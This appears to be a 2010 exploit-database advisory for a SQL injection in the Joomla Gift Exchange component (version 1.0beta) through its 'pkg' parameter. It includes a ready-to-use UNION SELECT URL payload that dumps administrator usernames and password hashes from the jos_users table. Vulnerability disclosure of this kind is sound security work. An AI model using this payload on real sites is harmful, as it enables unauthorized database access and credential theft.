joomla component Gift Exchange com_giftexchange (pkg) Remote Sql Injection

vendor:

Gift Exchange

by:

Chip D3 Bi0s

N/A

CVSS

N/A

SQL Injection

CWE

Product Name: Gift Exchange

Affected Version From: 1.0beta

Affected Version To: 1.0beta

Patch Exists: NO

Related CWE: N/A

CPE: a:socialables_studios:gift_exchange:1.0beta

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2010

joomla component Gift Exchange com_giftexchange (pkg) Remote Sql Injection

A vulnerability exists in the Gift Exchange component of Joomla, version 1.0beta, which allows an attacker to inject arbitrary SQL commands via the 'pkg' parameter in the 'showcase' view. This can be exploited to gain access to sensitive information such as usernames and passwords.

Mitigation:

Input validation should be used to prevent SQL injection attacks.

Source

Exploit-DB raw data:

---------------------------------------------------------------------------------
joomla component Gift Exchange com_giftexchange (pkg) Remote Sql Injection
---------------------------------------------------------------------------------

Author          : Chip D3 Bi0s
Group           : LatinHackTeam
Email & msn     : chipdebios[alt+64]gmail.com
Date            : 20 March 2010
Critical Lvl    : Moderate
Impact	        : Exposure of sensitive information
Where	        : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~


Application     : Gift Exchange 
version         : 1.0beta
Developer       : Socialable Studios
Website		: http://extensions.joomla.org/extensions/communities-a-groupware/membership/11680/visit
License         : GPL            type  : Commercial
price		: $25.00 :)
Date Added      : 20 March 2010

Download        : http://socialables.com/index.php?option=com_virtuemart&Itemid=91&category_id=28&flypage=flypage.tpl&#9001;=en&page=shop.product_details&product_id=79&vmcchk=1&Itemid=91

---------------------------------------------------------------------------


how to exploit

http://192.168.0.1/index.php?option=com_giftexchange&view=showcase&aj=package&pkg=-1union%20select%201,2,3,4,5,concat_ws(0x3a,username,password)chipD3Bi0s,1,1,1,1,1,1,1,1,1+from+jos_users+where+usertype=0x53757065722041646D696E6973747261746F72+and+0x41646D696E6973747261746F72--


+++++++++++++++++++++++++++++++++++++++
[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++